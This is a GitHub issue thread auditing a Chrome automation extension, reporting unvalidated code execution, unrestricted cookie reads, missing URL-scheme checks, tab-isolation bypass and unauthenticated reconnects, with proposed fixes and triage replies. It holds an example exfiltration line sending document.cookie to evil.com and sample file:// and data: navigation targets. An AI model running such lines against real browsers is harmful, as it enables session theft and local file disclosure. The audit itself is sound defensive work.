[Bug]: Chrome extension security hardening — unrestricted code execution, cookie access, and tab isolation bypass

[sorlen008]

Hey — we've been doing a security review of the Chrome extension code (the extension/ directory) and found a few things worth hardening, especially in light of the daemon auth work in #395 / #397. That PR locks down who can talk to the daemon, but doesn't address what the extension will do once a command arrives. If the token is ever leaked, or if there's a future bypass, these become the next line of defense.

Here's what we found:

---

1. CRITICAL: Unrestricted arbitrary JS execution via exec

handleExec in background.ts passes cmd.code straight through to Runtime.evaluate with zero validation:

async function handleExec(cmd: Command, workspace: string): Promise<Result> {
  if (!cmd.code) return { id: cmd.id, ok: false, error: 'Missing code' };
  const tabId = await resolveTabId(cmd.tabId, workspace);
  const data = await executor.evaluateAsync(tabId, cmd.code);
  return { id: cmd.id, ok: true, data };
}

And in cdp.ts:

const result = await chrome.debugger.sendCommand({ tabId }, 'Runtime.evaluate', {
  expression,         // <-- whatever was sent
  returnByValue: true,
  awaitPromise: true,
});

Any string gets evaluated in the page context. An attacker with daemon access (or a compromised CLI plugin) can run fetch('https://evil.com/steal', { method: 'POST', body: document.cookie }) or worse. There's no allowlist, no sandboxing, no CSP-like restriction.

Suggested fix: This is the hardest one since exec is the core feature. At minimum:

• Log all executed code for audit
• Consider a --safe-mode flag that restricts execution to a curated set of DOM query helpers instead of raw eval
• Rate-limit exec calls to prevent exfiltration loops

---

2. HIGH: Cookie exfiltration — unfiltered getAll

handleCookies happily returns every cookie from every domain when no filter is provided:

async function handleCookies(cmd: Command): Promise<Result> {
  const details: chrome.cookies.GetAllDetails = {};
  if (cmd.domain) details.domain = cmd.domain;
  if (cmd.url) details.url = cmd.url;
  const cookies = await chrome.cookies.getAll(details);
  // ...returns name, value, domain, path, secure, httpOnly, expirationDate
}

If neither domain nor url is set, chrome.cookies.getAll({}) dumps all cookies from all domains, including HttpOnly session tokens that JavaScript normally can't access. The manifest declares the cookies permission with no host restrictions, so this covers everything.

Suggested fix:

• Require at least one of domain or url — reject the command otherwise
• Consider restricting to cookies from the current automation tab's origin only
• Don't return value for httpOnly cookies (or redact them entirely)

---

3. HIGH: No URL scheme validation on navigate

handleNavigate passes cmd.url directly to chrome.tabs.update without checking the scheme:

await chrome.tabs.update(tabId, { url: targetUrl });

This means a caller can navigate to:

• file:///C:/Users/username/Documents/secrets.txt — read local files
• data:text/html,<script>...</script> — phishing pages that look like real sites
• javascript:... — (may be blocked by Chrome, but shouldn't rely on it)

Suggested fix:

• Allowlist schemes: only permit http:, https:, and maybe data: for blank pages
• Block file://, javascript:, chrome://, chrome-extension:// explicitly
• The isDebuggableUrl check exists but only blocks chrome:// and chrome-extension:// — it should be expanded

---

4. MEDIUM: Tab ID parameter bypasses automation window isolation

The extension creates a dedicated automation window to avoid touching the user's browsing session — good idea. But resolveTabId accepts an explicit tabId and uses it directly:

async function resolveTabId(tabId: number | undefined, workspace: string): Promise<number> {
  if (tabId !== undefined) {
    try {
      const tab = await chrome.tabs.get(tabId);
      if (isDebuggableUrl(tab.url)) return tabId;  // <-- returns any tab, any window
    } catch { ... }
  }
  // ...otherwise falls back to automation window
}

A caller can pass any valid tabId — including tabs in the user's personal browser window — and exec will happily run JS there, screenshot will capture it, etc. The automation window isolation is only enforced when tabId is omitted.

Suggested fix:

• When an explicit tabId is provided, verify it belongs to the automation window (tab.windowId === automationSession.windowId)
• Or at minimum, log a warning when targeting tabs outside the automation window

---

5. LOW: Persistent reconnect to hardcoded port

The extension reconnects to ws://localhost:19825/ext with exponential backoff, forever:

export const DAEMON_PORT = 19825;
export const DAEMON_WS_URL = `ws://${DAEMON_HOST}:${DAEMON_PORT}/ext`;

function scheduleReconnect(): void {
  reconnectAttempts++;
  const delay = Math.min(WS_RECONNECT_BASE_DELAY * Math.pow(2, reconnectAttempts - 1), WS_RECONNECT_MAX_DELAY);
  reconnectTimer = setTimeout(() => { connect(); }, delay);
}

If a malicious process binds port 19825 before the real daemon starts, the extension will connect to it and start executing commands from an untrusted source. The token auth from #397 mitigates this on the daemon side, but the extension itself doesn't verify the server's identity — it just connects and starts processing messages.

Suggested fix:

• The extension should verify the daemon's identity (e.g., the daemon sends a challenge signed with the shared token)
• Or at minimum, the extension should send its own token in the WS handshake and only process commands after auth succeeds
• Cap total reconnect attempts before giving up

---

None of these are "the sky is falling" — the localhost binding + the new token auth from #397 are real barriers. But defense in depth matters, especially for a tool that has debugger + cookies + tabs permissions with no host restrictions. Would love to hear thoughts on which of these are worth tackling first.

[raye-deng]

Good audit. The unrestricted Runtime.evaluate is the most impactful finding — it turns the extension into an arbitrary code execution surface for anything with daemon access.

This pattern shows up more broadly in the AI coding tool ecosystem: the trust boundary between "what the agent is allowed to do" and "what the agent actually produces" is poorly defined. Your issue focuses on the action side (what code gets executed in the browser). There is an equally dangerous output side that gets less attention:

When an AI agent generates code that gets committed to a repo, the generated code itself can contain the same classes of vulnerabilities you describe here — unrestricted eval, cookie exfiltration patterns, missing input validation. The difference is that these are not in the extension code, they are in the application code the agent writes. And they pass code review because they look like intentional implementation choices.

The three hardening categories map directly:

1. Unrestricted execution → Agent writes eval(userInput) in application code, not just in the extension
2. Cookie/credential access → Agent generates code that logs sensitive data to stdout or third-party analytics
3. Tab isolation bypass → Agent introduces cross-origin requests without CORS validation

Rate-limiting and audit logging help on the extension side. On the code output side, deterministic scanning catches these patterns before they reach production. We have been building this as a CI check — validates that AI-generated code does not introduce the security anti-patterns that the model considers "normal" implementation.

[Astro-Han]

Verified the five findings against current background.ts, all accurate.

Quick triage by fix cost vs. impact:

#	Fix	Effort
4 (tab isolation)	Check tab.windowId === session.windowId in resolveTabId	One line
3 (URL scheme)	Expand isDebuggableUrl to block file://, javascript:, data:	One line
2 (cookie scope)	Require at least domain or url in handleCookies	Three lines
1 (arbitrary exec)	Audit logging makes sense; --safe-mode would significantly change the extension's architecture, worth a separate discussion	Medium-large
5 (port hijack)	Mostly mitigated once #397 merges (token auth on both HTTP and WS)	Already in progress

Suggest tackling #4 → #3 → #2 first: minimal effort, meaningful hardening.